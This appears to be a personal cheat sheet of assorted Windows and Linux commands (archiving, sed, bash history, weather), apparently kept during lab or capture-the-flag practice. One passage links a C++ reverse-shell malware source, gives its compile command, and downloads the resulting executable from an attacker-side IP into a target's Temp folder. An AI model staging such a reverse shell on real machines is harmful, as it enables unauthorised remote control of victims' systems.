Miscellaneous stuff to be sorted later¶
Powershell Create result.zip from the entire Test folder:
Compress-Archive -Path C:\Test -DestinationPath C:\result
Powershell Extract the content of result.zip in the specified Test folder:
Expand-Archive -Path result.zip -DestinationPath C:\Test
Windows - view encrypted files/folders
cipher /U /N
Windows Events Command Line Utility.
wevtutil /?
I used a c++ shell https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/ https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
compile:
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Copy to box: Invoke-WebRequest -Uri http://10.10.14.25/prometheus.exe -OutFile C:\Users\Alfred\AppData\Local\Temp\prometheus.exe
Convert outlook PST (personal folders) to mbox file¶
readpst -rS alfred@arkham.local.ost
Deleting lines from file
# To remove the line and print the output to standard out:
sed '/pattern to match/d' ./infile
# To directly modify the file:
sed -i '/pattern to match/d' ./infile
# To directly modify the file (and create a backup):
sed -i.bak '/pattern to match/d' ./infile
# For Mac OS X and FreeBSD users:
sed -i '' '/pattern/d' ./infile
search bash_history for most used commands
sort ~/.bash_history |uniq -c|sed -e 's/^[[:space:]]*//'|sort -n
weather:
curl wttr.in/
curl wttr.in/<CityName>
curl wttr.in/:help
# https://github.com/chubin/wttr.in
get current directory basename
result=${PWD##*/} # to assign to a variable
printf '%s\n' "${PWD##*/}" # to print to stdout
# ...more robust than echo for unusual names
# (consider a directory named -e or -n)
printf '%q\n' "${PWD##*/}" # to print to stdout, quoted for use as shell input
# ...useful to make hidden characters readable.